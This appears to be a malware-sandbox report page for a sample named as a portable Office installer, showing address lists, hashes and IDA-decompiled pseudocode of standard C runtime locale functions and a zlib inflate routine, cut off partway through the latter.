0x000d5a47
0x000d5a47
0x000d5a4a
0x000d5a50
0x000d5a56
0x000d5a5c
0x000d5a5c
0x000d5a5f
0x000d5a66
0x000d5a6c
0x000d5a71
0x000d5a72
0x000d5a79
0x000d5e95
0x000d5e9b
0x000d5e9d
0x000d5e9d
0x000d5ea3
0x000d5ea3
0x000d5ea5
0x000d5f0a
0x00000000
0x000d5f10
0x00000000
0x000d5ea5
0x000d5a7f
0x000d5a82
0x000d5a89
0x000d5aaf
0x000d5aaf
0x000d5ab5
0x00000000
0x000d5ab5
0x000d5a8d
0x000d5a8f
0x000d5a95
0x000d5a9b
0x000d5aa2
0x00000000
0x00000000
0x000d5aa8
0x000d5aa9
0x000d5aa9
0x000d5aa9
0x00000000
0x000d5aa9
0x000d5a61
0x000d5a64
0x00000000
0x00000000
0x00000000
0x000d5a64
0x000d5a24
0x000d5a27
0x00000000
0x00000000
0x00000000
0x000d5a27
0x000d5890
0x000d5894
0x000d589a
0x000d58a6
0x000d58ad
0x000d58b2
0x000d58cf
0x000d58d5
0x000d58d7
0x000d591d
0x000d591f
0x000d5925
0x000d592b
0x000d592c
0x000d5931
0x000d5934
0x000d5937
0x000d5ae9
0x000d5ae9
0x00000000
0x000d5ae9
0x000d593d
0x000d5943
0x000d5948
0x000d5950
0x000d596a
0x000d5970
0x000d5976
0x000d5978
0x00000000
0x00000000
0x000d599c
0x000d59a2
0x000d59a4
0x00000000
0x00000000
0x000d59b6
0x000d59bc
0x000d59c2
0x00000000
0x00000000
0x000d59c8
0x000d59cf
0x00000000
0x00000000
0x000d59ea
0x000d59f8
0x000d59fe
0x000d5a00
0x00000000
0x00000000
0x000d5a06
0x000d5a0d
0x00000000
0x00000000
0x000d5a13
0x000d5a19
0x00000000
0x000d5a19
0x000d58df
0x000d58ea
0x000d58ed
0x000d5ac6
0x000d5ad5
0x000d5ad5
0x000d5ad6
0x000d5ae1
0x00000000
0x000d5ae1
0x000d58fd
0x000d5902
0x000d5905
0x000d5908
0x00000000
0x00000000
0x000d5914
0x000d5915
0x00000000
0x000d5915
0x000d58b8
0x000d58bb
0x000d58c0
0x000d58c3
0x000d58c8
0x00000000
0x000d5abb
0x000d5abb
0x000d5abb
0x00000000
0x000d5ac4
0x000d5845
0x000d5847
0x00000000
0x00000000
0x00000000
0x000d5847
0x000d57e1
0x000d57a2
0x000d57a9
0x000d57af
0x00000000
0x000d57af
0x000d578f
0x000d5792
0x00000000
0x00000000
0x00000000
0x000d5792
0x000d5746
0x000d574d
0x000d5753
0x00000000
0x000d5758
0x00000000

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 775e8aa2719092d465b202b224b54cdef2a95364341e210e1b3fe53005bfe981
Instruction ID: b76638918c6a06db2c195df8efd7a0d7d9b00c69455f22122b29bc7b993f1c6b
Opcode Fuzzy Hash: 775e8aa2719092d465b202b224b54cdef2a95364341e210e1b3fe53005bfe981
Instruction Fuzzy Hash: E2324E75A027288FDB249F58DC856E9B7F5FB46311F0441DAE80AA7B81D7349E80CF62

Uniqueness

Uniqueness Score: -1.00%

Function 000DF09D, Relevance: 13.7, APIs: 9, Instructions: 188
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E000DF09D(void* __edx, void* __eflags, signed short _a4, signed short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				signed int _v20;
				short* _v24;
				signed short* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t40;
				short _t49;
				short _t50;
				short _t51;
				int _t52;
				signed short* _t61;
				short _t74;
				intOrPtr _t77;
				short _t79;
				short _t80;
				intOrPtr _t87;
				short* _t90;
				signed int _t92;
				void* _t101;
				short* _t102;
				signed short _t103;
				signed int _t106;
				void* _t107;
				void* _t108;

				_t112 = __eflags;
				_t101 = __edx;
				_t40 =  *0xef6ac; // 0xcff43140
				_v8 = _t40 ^ _t106;
				_t103 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				_t7 = E000D4F6A(_t102, __eflags) + 0x9c; // 0x9c
				_t90 = _t7;
				E000D1050( &_v20, 0, 0xc);
				_t108 = _t107 + 0xc;
				 *((intOrPtr*)(E000D4F6A(_t102, _t112) + 0x3b8)) =  &_v20;
				if(_t103 != 0) {
					_t49 = _t103 + 0x80;
					_t14 =  &(_t90[2]); // 0xa0
					_t102 = _t14;
					_t92 = 0;
					 *_t90 = _t103;
					 *_t102 = _t49;
					__eflags = _t49;
					if(_t49 != 0) {
						__eflags =  *_t49;
						if( *_t49 != 0) {
							_t87 =  *0xea700; // 0x17
							E000DF031(0xea428, _t87 - 1, _t102);
							_t108 = _t108 + 0xc;
							_t92 = 0;
							__eflags = 0;
						}
					}
					_v20 = _t92;
					_t50 =  *_t90;
					__eflags = _t50;
					if(_t50 == 0) {
						L17:
						_t51 =  *_t102;
						__eflags = _t51;
						if(_t51 == 0) {
							L21:
							_v20 = 0x104;
							L22:
							_t52 = GetUserDefaultLCID();
							_v16 = _t52;
							_v12 = _t52;
							goto L23;
						}
						__eflags =  *_t51 - _t92;
						if(__eflags == 0) {
							goto L21;
						}
						E000DEAC1(_t102, __eflags,  &_v20);
						goto L20;
					} else {
						__eflags =  *_t50 - _t92;
						if( *_t50 == _t92) {
							goto L17;
						}
						_t74 =  *_t102;
						__eflags = _t74;
						if(__eflags == 0) {
							L10:
							E000DEB7E(_t102, __eflags,  &_v20);
							L11:
							__eflags = _v20;
							if(_v20 != 0) {
								L24:
								asm("sbb esi, esi");
								_t103 = E000DEF1C( ~_t103 & _t103 + 0x00000100,  &_v20);
								if(_t103 == 0 || _t103 == 0xfde8 || _t103 == 0xfde9 || IsValidCodePage(_t103 & 0x0000ffff) == 0 || IsValidLocale(_v16, 1) == 0) {
									L36:
									__eflags = 0;
									goto L37;
								} else {
									_t61 = _v28;
									if(_t61 != 0) {
										 *_t61 = _t103;
									}
									_t30 =  &(_t90[0x128]); // 0x2ec
									E000D2E03(_t90, _t102, _t103, _v16, _t30, 0x55);
									_t90 = _v24;
									if(_t90 == 0) {
										L35:
										L37:
										return E000CC7C7(_t90, _v8 ^ _t106, _t101, _t102, _t103);
									} else {
										E000D2E03(_t90, _t102, _t103, _v16,  &(_t90[0x90]), 0x55);
										_t102 = GetLocaleInfoW;
										if(GetLocaleInfoW(_v16, 0x1001, _t90, 0x40) == 0 || GetLocaleInfoW(_v12, 0x1002,  &(_t90[0x40]), 0x40) == 0) {
											goto L36;
										} else {
											E000E0888(_t103,  &(_t90[0x80]), 0x10, 0xa);
											goto L35;
										}
									}
								}
							}
							_t77 =  *0xea6fc; // 0x41
							_t79 = E000DF031(0xe9978, _t77 - 1, _t90);
							_t108 = _t108 + 0xc;
							__eflags = _t79;
							if(_t79 == 0) {
								L23:
								if(_v20 == 0) {
									goto L36;
								}
								goto L24;
							}
							_t80 =  *_t102;
							__eflags = _t80;
							if(__eflags == 0) {
								L16:
								E000DEB7E(_t102, __eflags,  &_v20);
								L20:
								goto L23;
							}
							__eflags =  *_t80;
							if(__eflags == 0) {
								goto L16;
							}
							E000DEB01(__eflags,  &_v20);
							goto L20;
						}
						__eflags =  *_t74 - _t92;
						if(__eflags == 0) {
							goto L10;
						}
						E000DEB01(__eflags,  &_v20);
						goto L11;
					}
				}
				_v20 = _v20 | 0x00000104;
				goto L22;
			}

0x000df09d
0x000df09d
0x000df0a3
0x000df0aa
0x000df0b2
0x000df0b5
0x000df0bc
0x000df0c4
0x000df0c4
0x000df0d3
0x000df0d8
0x000df0e3
0x000df0eb
0x000df0f9
0x000df0ff
0x000df0ff
0x000df102
0x000df104
0x000df106
0x000df108
0x000df10a
0x000df10c
0x000df10f
0x000df111
0x000df11e
0x000df123
0x000df126
0x000df126
0x000df126
0x000df10f
0x000df128
0x000df12b
0x000df12d
0x000df12f
0x000df198
0x000df198
0x000df19a
0x000df19c
0x000df1af
0x000df1af
0x000df1b6
0x000df1b6
0x000df1bc
0x000df1bf
0x00000000
0x000df1bf
0x000df19e
0x000df1a1
0x00000000
0x00000000
0x000df1a7
0x00000000
0x000df131
0x000df131
0x000df134
0x00000000
0x00000000
0x000df136
0x000df138
0x000df13a
0x000df14c
0x000df150
0x000df155
0x000df155
0x000df15a
0x000df1cc
0x000df1d8
0x000df1e2
0x000df1e8
0x000df2a6
0x000df2a6
0x00000000
0x000df227
0x000df227
0x000df22c
0x000df22e
0x000df22e
0x000df232
0x000df23c
0x000df241
0x000df249
0x000df2a1
0x000df2a8
0x000df2b6
0x000df24b
0x000df257
0x000df25c
0x000df274
0x00000000
0x000df28d
0x000df299
0x00000000
0x000df29e
0x000df274
0x000df249
0x000df1e8
0x000df15c
0x000df169
0x000df16e
0x000df171
0x000df173
0x000df1c2
0x000df1c6
0x00000000
0x00000000
0x00000000
0x000df1c6
0x000df175
0x000df177
0x000df179
0x000df18d
0x000df191
0x000df1ac
0x00000000
0x000df1ac
0x000df17d
0x000df180
0x00000000
0x00000000
0x000df186
0x00000000
0x000df186
0x000df13c
0x000df13f
0x00000000
0x00000000
0x000df145
0x00000000
0x000df145
0x000df12f
0x000df0ed
0x00000000

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

_TranslateName.LIBCMT ref: 000DF11E
_TranslateName.LIBCMT ref: 000DF169
GetUserDefaultLCID.KERNEL32(?,?,00000055), ref: 000DF1B6

Part of subcall function 000D2E03: _GetTableIndexFromLcid.LIBCMT ref: 000D2E30
Part of subcall function 000D2E03: _wcsnlen.LIBCMT ref: 000D2E44

IsValidCodePage.KERNEL32(00000000), ref: 000DF20A
IsValidLocale.KERNEL32(?,00000001), ref: 000DF21D
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040), ref: 000DF270
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 000DF287
__itow_s.LIBCMT ref: 000DF299

Part of subcall function 000E0888: _xtow_s@20.LIBCMT ref: 000E08AA

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Locale$InfoNameTranslateValid$CodeDefaultFromIndexLcidPageTableUser__getptd_noexit__itow_s_wcsnlen_xtow_s@20
String ID:
API String ID: 1899313181-0
Opcode ID: 240568da9b69a38fab665b852292f243c2de3917f5375904aa9f09f1d79bf9a6
Instruction ID: 9f350658c87a63459df92a3606d085d529bf5e98189ee49a22c8aba2b54ff1fe
Opcode Fuzzy Hash: 240568da9b69a38fab665b852292f243c2de3917f5375904aa9f09f1d79bf9a6
Instruction Fuzzy Hash: D0515075A003179BEB60EBA4CC85ABE77E8AF05740F44857BA902EB251E77099408B71

Uniqueness

Uniqueness Score: -1.00%

Function 000DEF1C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000DEF1C(short _a4, intOrPtr _a8) {
				short _t13;
				short _t28;

				_t28 = _a4;
				if(_t28 != 0 &&  *_t28 != 0 && E000DE237(_t28, ?str?) != 0) {
					if(E000DE237(_t28, ?str?) != 0) {
						return E000E09A4(_t28);
					}
					if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_a4, 2) == 0) {
						L9:
						return 0;
					}
					return _a4;
				}
				if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_a4, 2) == 0) {
					goto L9;
				}
				_t13 = _a4;
				if(_t13 == 0) {
					return GetACP();
				}
				return _t13;
			}

0x000def20
0x000def25
0x000def4d
0x00000000
0x000def76
0x000def68
0x000def94
0x00000000
0x000def94
0x00000000
0x000def6a
0x000def92
0x00000000
0x00000000
0x000def98
0x000def9d
0x000defa1
0x000defa1
0x000def6f

APIs

_wcscmp.LIBCMT ref: 000DEF33
_wcscmp.LIBCMT ref: 000DEF44
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,000DF1E2,?,00000000), ref: 000DEF60
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,000DF1E2,?,00000000), ref: 000DEF8A

Strings

OCP, xrefs: 000DEF3E
ACP, xrefs: 000DEF2D

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: fca70b023a1b87904fc91c5fc055c037f7d48a5b394465b3f596921fe87644ca
Instruction ID: 9f095022be2aff9a3c3829b62d5976803a099ce6b2d672aa54f27822e7612ab5
Opcode Fuzzy Hash: fca70b023a1b87904fc91c5fc055c037f7d48a5b394465b3f596921fe87644ca
Instruction Fuzzy Hash: 53014431304395AAEB50BF55DC85FDA37D8AF05760F044427F508DE252E775E9808BA5

Uniqueness

Uniqueness Score: -1.00%

Function 000C4230, Relevance: 7.8, APIs: 1, Strings: 3, Instructions: 801
COMMONCrypto

Download Yara Rule

C-Code - Quality: 34%

			E000C4230(signed int* __ecx, unsigned int __edx, unsigned int _a4) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				unsigned int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _t426;
				signed int _t428;
				signed int* _t446;
				unsigned int _t451;
				signed int _t456;
				signed int _t457;
				signed int _t460;

				_t446 = __ecx;
				_t451 = __ecx[8];
				_t460 = __ecx[7];
				_v16 = __edx;
				_t426 = __ecx[0xc];
				_v32 =  *__edx;
				_t456 = __ecx[0xd];
				_v8 = __ecx;
				_v24 =  *((intOrPtr*)(__edx + 4));
				_v20 = _t451;
				_v12 = _t456;
				if(_t456 >= _t426) {
					_t428 = __ecx[0xb] - _t456;
				} else {
					_t428 = _t426 - _t456 - 1;
				}
				_t457 = _v32;
				_v28 = _t428;
				if( *_t446 > 9) {
					L15:
					_push(0xfffffffe);
					goto L16;
				} else {
					do {
						switch( *((intOrPtr*)( *_t446 * 4 +  &M000C4C00))) {
							case 0:
								_t445 = _v24;
								if(_t460 >= 3) {
									L10:
									_t434 = _t451 & 0x00000007;
									_v44 = _t434;
									_t446[6] = _t434 & 0x00000001;
									_t437 = _v44 >> 1;
									if(_t437 > 3) {
										goto L13;
									} else {
										switch( *((intOrPtr*)(_t437 * 4 +  &M000C4C28))) {
											case 0:
												goto L12;
											case 1:
												goto L20;
											case 2:
												goto L24;
											case 3:
												goto L114;
										}
									}
								} else {
									while(_t445 != 0) {
										_t440 = ( *_t457 & 0x000000ff) << _t460;
										_t445 = _t445 - 1;
										_t457 = _t457 + 1;
										_t460 = _t460 + 8;
										_t451 = _t451 | _t440;
										_a4 = 0;
										_v24 = _t445;
										_v20 = _t451;
										_v32 = _t457;
										if(_t460 < 3) {
											continue;
										} else {
											_t446 = _v8;
											goto L10;
										}
										goto L134;
									}
									goto L111;
								}
								goto L134;
							case 1:
								__ebx = _v24;
								if(__esi >= 0x20) {
									L29:
									__edx = __edx & 0x0000ffff;
									_v40 = __edx & 0x0000ffff;
									__edx =  !__edx;
									__eax =  !__edx >> 0x10;
									if( !__edx >> 0x10 != _v40) {
										__eax = _v16;
										 *__ecx = 9;
										 *(__eax + 0x18) = "invalid stored block lengths";
										 *(__ecx + 0x20) = __edx;
										__edx = __eax;
										_push(0xfffffffd);
										goto L18;
									} else {
										__eax = _v40;
										__edx = 0;
										__esi = 0;
										 *(__ecx + 4) = __eax;
										_v20 = 0;
										if(__eax == 0) {
											goto L54;
										} else {
											__eax = 2;
											 *__ecx = 2;
											goto L13;
										}
									}
								} else {
									while(__ebx != 0) {
										__eax =  *__edi & 0x000000ff;
										__ecx = __esi;
										__eax = ( *__edi & 0x000000ff) << __cl;
										__ebx = __ebx - 1;
										__edi = __edi + 1;
										__esi = __esi + 8;
										__edx = __edx | __eax;
										_a4 = 0;
										_v24 = __ebx;
										_v32 = __edi;
										if(__esi < 0x20) {
											continue;
										} else {
											__ecx = _v8;
											goto L29;
										}
										goto L134;
									}
									goto L111;
								}
								goto L134;
							case 2:
								__ebx = _v24;
								if(__ebx == 0) {
									goto L112;
								} else {
									__edx = _v12;
									if(__eax != 0) {
										L53:
										 *(__ecx + 4) =  >  ? __ebx :  *(__ecx + 4);
										__edi =  >  ? __eax :  >  ? __ebx :  *(__ecx + 4);
										_a4 = 0;
										E000CE520(__edx, _v32, __edi) = _v28;
										__ecx = _v8;
										_v32 = _v32 + __edi;
										_v12 = _v12 + __edi;
										__edx = _v20;
										__ebx = __ebx - __edi;
										__eax = _v28 - __edi;
										_t102 = __ecx + 4;
										 *_t102 =  *(__ecx + 4) - __edi;
										_v24 = __ebx;
										_v28 = __eax;
										if( *_t102 == 0) {
											L54:
											 *(__ecx + 0x18) =  ~( *(__ecx + 0x18));
											asm("sbb eax, eax");
											__eax =  ~( *(__ecx + 0x18)) & 0x00000007;
											 *__ecx = __eax;
											goto L13;
										}
										goto L14;
									} else {
										if(__edx !=  *(__ecx + 0x2c)) {
											L42:
											 *(__ecx + 0x34) = __edx;
											__edx = _v16;
											__eax = E000C3950(__ecx, _v16, _a4);
											__ecx = _v8;
											_v48 = __eax;
											__edx =  *(__ecx + 0x34);
											__eax =  *(__ecx + 0x30);
											_v12 = __edx;
											if(__edx >= __eax) {
												__edx =  *(__ecx + 0x2c);
												__edx =  *(__ecx + 0x2c) - _v12;
											} else {
												__eax = __eax - _v12;
												__edx = __eax - _v12 - 1;
											}
											_v28 = __edx;
											__edx = _v12;
											if(__edx !=  *(__ecx + 0x2c)) {
												L51:
												__eax = _v28;
											} else {
												__edx =  *(__ecx + 0x28);
												if(__eax == __edx) {
													__edx = _v12;
													goto L51;
												} else {
													_v12 = __edx;
													if(__edx >= __eax) {
														__eax =  *(__ecx + 0x2c);
														__eax =  *(__ecx + 0x2c) - __edx;
														_v28 = __eax;
													} else {
														__eax = __eax - __edx;
														__eax = __eax - 1;
														_v28 = __eax;
													}
												}
											}
											if(__eax == 0) {
												goto L126;
											} else {
												goto L53;
											}
										} else {
											__eax =  *(__ecx + 0x30);
											__edx =  *(__ecx + 0x28);
											if(__eax == __edx) {
												__edx = _v12;
												goto L42;
											} else {
												_v12 = __edx;
												if(__edx >= __eax) {
													__eax =  *(__ecx + 0x2c);
													__eax =  *(__ecx + 0x2c) - __edx;
												} else {
													__eax = __eax - __edx;
													__eax = __eax - 1;
												}
												_v28 = __eax;
												if(__eax != 0) {
													goto L53;
												} else {
													goto L42;
												}
											}
										}
									}
								}
								goto L134;
							case 3:
								__ebx = _v24;
								if(__esi >= 0xe) {
									L59:
									__eax = __edx;
									__eax = __edx & 0x00003fff;
									_v28 = __eax;
									_v28 = _v28 & 0x0000001f;
									 *(__ecx + 4) = __eax;
									if(_v28 > 0x1d) {
										L116:
										__eax = _v16;
										 *__ecx = 9;
										 *(__eax + 0x18) = "too many length or distance symbols";
										 *(__ecx + 0x20) = __edx;
										__edx = __eax;
										_push(0xfffffffd);
										goto L18;
									} else {
										__eax = __eax >> 5;
										__eax = __eax & 0x0000001f;
										if(__eax > 0x1d) {
											goto L116;
										} else {
											_v28 = _v28 + 0x102;
											__eax = __eax + _v28 + 0x102;
											_push(4);
											_push(__eax);
											__eax = _v16;
											_push( *((intOrPtr*)(__eax + 0x28)));
											__eax =  *(__eax + 0x20);
											__eax =  *__eax();
											__ecx = _v8;
											__esp = __esp + 0xc;
											 *(__ecx + 0xc) = __eax;
											if(__eax == 0) {
												goto L113;
											} else {
												__edx = _v20;
												__edx = _v20 >> 0xe;
												_v20 = __edx;
												__esi = __esi - 0xe;
												 *(__ecx + 8) = 0;
												 *__ecx = 4;
												goto L63;
											}
										}
									}
								} else {
									while(__ebx != 0) {
										__eax =  *__edi & 0x000000ff;
										__ecx = __esi;
										__eax = ( *__edi & 0x000000ff) << __cl;
										__ebx = __ebx - 1;
										__edi = __edi + 1;
										__esi = __esi + 8;
										__edx = __edx | __eax;
										_a4 = 0;
										_v24 = __ebx;
										_v20 = __edx;
										_v32 = __edi;
										if(__esi < 0xe) {
											continue;
										} else {
											__ecx = _v8;
											goto L59;
										}
										goto L134;
									}
									goto L111;
								}
								goto L134;
							case 4:
								L63:
								__eax =  *(__ecx + 4);
								__ebx = _v24;
								 *(__ecx + 4) >> 0xa = ( *(__ecx + 4) >> 0xa) + 4;
								if( *(__ecx + 8) >= ( *(__ecx + 4) >> 0xa) + 4) {
									L69:
									while( *(__ecx + 8) < 0x13) {
										__eax =  *(__ecx + 8);
										__ecx =  *(0xeb1c8 +  *(__ecx + 8) * 4);
										_v8 =  *(_v8 + 0xc);
										 *( *(_v8 + 0xc) + __ecx * 4) = 0;
										__ecx = _v8;
										 *(__ecx + 8) =  *(__ecx + 8) + 1;
									}
									_t161 = __ecx + 0x10; // 0x10
									__eax = _t161;
									_v36 = __eax;
									 *__eax = 7;
									__eax =  *(__ecx + 0x24);
									_v40 =  *(__ecx + 0x24);
									__eax =  *(__ecx + 0xc);
									_v28 =  *(__ecx + 0xc);
									__eax = _v16;
									_push(4);
									_push(0x13);
									_push( *((intOrPtr*)(__eax + 0x28)));
									__eax =  *(__eax + 0x20);
									_v44 = 0;
									__eax =  *__eax();
									__esp = __esp + 0xc;
									_v48 = __eax;
									if(__eax == 0) {
										_v40 = 0xfffffffc;
										goto L120;
									} else {
										__edx = _v8;
										__ecx = _v28;
										__eax =  &_v44;
										__edx = _v8 + 0x14;
										__edx = 0x13;
										__eax = E000C4CD0(_v28, 0x13, 0x13, 0, 0, _v8 + 0x14, _v36, _v40,  &_v44,  &_v44);
										_v40 = __eax;
										if(__eax != 0xfffffffd) {
											if(__eax == 0xfffffffb) {
												L76:
												__eax = _v16;
												_v40 = 0xfffffffd;
												 *(__eax + 0x18) = "incomplete dynamic bit lengths tree";
											} else {
												__eax = _v36;
												if( *_v36 != 0) {
													__eax = _v16;
												} else {
													goto L76;
												}
											}
										} else {
											__eax = _v16;
											 *(__eax + 0x18) = "oversubscribed dynamic bit lengths tree";
										}
										_push(_v48);
										_push( *((intOrPtr*)(__eax + 0x28)));
										__eax =  *__eax();
										__eax = _v40;
										__esp = __esp + 8;
										if(__eax != 0) {
											if(__eax != 0xfffffffd) {
												L120:
												__ecx = _v8;
												__eax = _v20;
												_push(_v40);
												 *(__ecx + 0x20) = _v20;
											} else {
												__eax = _v8;
												_push( *(_v8 + 0xc));
												__eax = _v16;
												_push( *((intOrPtr*)(__eax + 0x28)));
												__eax =  *__eax();
												__ecx = _v8;
												__eax = _v20;
												__esp = __esp + 8;
												 *__ecx = 9;
												_push(_v40);
												 *(__ecx + 0x20) = _v20;
											}
											goto L17;
										} else {
											__ecx = _v8;
											__edx = _v20;
											 *(__ecx + 8) = __eax;
											 *__ecx = 5;
											goto L80;
										}
									}
								} else {
									do {
										if(__esi >= 3) {
											goto L68;
										} else {
											while(__ebx != 0) {
												__eax =  *__edi & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__edi & 0x000000ff) << __cl;
												__ebx = __ebx - 1;
												__edi = __edi + 1;
												__esi = __esi + 8;
												__edx = __edx | __eax;
												_a4 = 0;
												_v24 = __ebx;
												_v20 = __edx;
												_v32 = __edi;
												if(__esi < 3) {
													continue;
												} else {
													__ecx = _v8;
													goto L68;
												}
												goto L134;
											}
											goto L111;
										}
										goto L134;
										L68:
										__eax =  *(__ecx + 8);
										__edx = __edx & 0x00000007;
										__ecx =  *(0xeb1c8 +  *(__ecx + 8) * 4);
										__eax = _v8;
										__esi = __esi - 3;
										__eax =  *(_v8 + 0xc);
										 *( *(_v8 + 0xc) + __ecx * 4) = __edx;
										__ecx = _v8;
										__edx = _v20;
										 *(__ecx + 8) =  *(__ecx + 8) + 1;
										 *(__ecx + 4) =  *(__ecx + 4) >> 0xa;
										__edx = _v20 >> 3;
										__eax = ( *(__ecx + 4) >> 0xa) + 4;
										_v20 = __edx;
									} while ( *(__ecx + 8) < ( *(__ecx + 4) >> 0xa) + 4);
									goto L69;
								}
								goto L134;
							case 5:
								L80:
								__eax = _v8;
								__ecx =  *(__ecx + 4);
								__eax =  *(_v8 + 8);
								__ebx = _v24;
								_v28 =  *(_v8 + 8);
								__ecx = __ecx >> 5;
								__eax = __ecx >> 0x00000005 & 0x0000001f;
								__ecx = __ecx & 0x0000001f;
								__eax = __eax + 0x102;
								if(_v28 >= __eax) {
									L102:
									__eax = _v8;
									__edx =  &_v56;
									__ecx =  *(__eax + 4);
									 &_v52 =  &_v40;
									 &_v44 = __ecx;
									__edx = __ecx >> 5;
									__edx = __ecx >> 0x00000005 & 0x0000001f;
									__ecx = __ecx & 0x0000001f;
									__edx = __edx + 1;
									__ecx = __ecx + 0x101;
									 *(__eax + 0x14) = 0;
									_v44 = 9;
									_v40 = 6;
									__eax = E000C5260(__ecx, __edx,  *((intOrPtr*)(__eax + 0xc)),  &_v44,  &_v40,  &_v52,  &_v56,  *((intOrPtr*)(__eax + 0x24)), _v16);
									_v48 = __eax;
									if(__eax != 0) {
										if(__eax != 0xfffffffd) {
											__ecx = _v8;
											L126:
											__eax = _v20;
											_push(_v48);
											 *(__ecx + 0x20) = _v20;
										} else {
											__eax = _v8;
											_push( *(_v8 + 0xc));
											__eax = _v16;
											_push( *((intOrPtr*)(__eax + 0x28)));
											__eax =  *__eax();
											__ecx = _v8;
											__eax = _v20;
											__esp = __esp + 8;
											 *__ecx = 9;
											_push(_v48);
											 *(__ecx + 0x20) = _v20;
										}
										goto L17;
									} else {
										__eax = _v16;
										_push(0x1c);
										_push(1);
										_push( *((intOrPtr*)(__eax + 0x28)));
										__eax =  *(__eax + 0x20);
										__edx = __eax;
										__esp = __esp + 0xc;
										if(__edx == 0) {
											__ecx = _v8;
											__eax = _v20;
											 *(__ecx + 0x20) = _v20;
											_push(0xfffffffc);
											goto L17;
										} else {
											__ecx = _v44 & 0x000000ff;
											__eax = _v56;
											 *(__edx + 0x10) = __cl;
											__ecx = _v40 & 0x000000ff;
											 *(__edx + 0x18) = _v56;
											__eax = _v8;
											 *(__edx + 0x11) = __cl;
											__ecx = _v52;
											 *__edx = 0;
											 *(__edx + 0x14) = _v52;
											_push( *((intOrPtr*)(__eax + 0xc)));
											 *(__eax + 4) = __edx;
											__eax = _v16;
											_push( *((intOrPtr*)(__eax + 0x28)));
											__eax =  *__eax();
											__ecx = _v8;
											__edx = _v20;
											__esp = __esp + 8;
											 *__ecx = 6;
											goto L105;
										}
									}
								} else {
									do {
										__ecx = _v8;
										__eax =  *(__ecx + 0x10);
										_v48 = __eax;
										if(__esi >= __eax) {
											L85:
											__ecx =  *(0xec318 + __eax * 4);
											__eax = _v8;
											__ecx = __ecx & __edx;
											__eax =  *(_v8 + 0x14);
											__ebx =  *(__eax + 1 + __ecx * 8) & 0x000000ff;
											__ecx =  *(__eax + 4 + __ecx * 8);
											_v20 = __ebx;
											__ebx = _v24;
											_v44 = __ecx;
											if(__ecx >= 0x10) {
												if(__ecx != 0x12) {
													__eax = __ecx - 0xe;
													_v36 = __ecx - 0xe;
												} else {
													_v36 = 7;
												}
												0 = 0 | __ecx == 0x00000012;
												__eax = 3 + (__ecx == 0x12) * 8;
												_v40 = 3 + (__ecx == 0x12) * 8;
												_v36 = _v36 + _v20;
												if(__esi >= _v36 + _v20) {
													L93:
													__edi = _v20;
													__ecx = __edi;
													__edx = __edx >> __cl;
													__ecx = _v36;
													 *(0xec318 + __ecx * 4) =  *(0xec318 + __ecx * 4) & __edx;
													_v40 = _v40 + ( *(0xec318 + __ecx * 4) & __edx);
													__eax = __ecx + __edi;
													__edi = _v32;
													__esi = __esi - __eax;
													__eax = _v8;
													__edx = __edx >> __cl;
													__ecx =  *(_v8 + 4);
													__eax = __ecx;
													__eax = __ecx >> 5;
													__ecx = __ecx & 0x0000001f;
													__eax = __eax & 0x0000001f;
													__ecx = __ecx + 0x102;
													__ecx = __ecx + __eax;
													_v28 = _v28 + _v40;
													_v20 = __edx;
													if(_v28 + _v40 > __ecx) {
														L121:
														__eax = _v8;
														_push( *(_v8 + 0xc));
														__eax = _v16;
														_push( *((intOrPtr*)(__eax + 0x28)));
														__eax =  *__eax();
														__ecx = _v8;
														__edx = _v16;
														__eax = _v20;
														 *__ecx = 9;
														 *(__edx + 0x18) = "invalid bit length repeat";
														 *(__ecx + 0x20) = _v20;
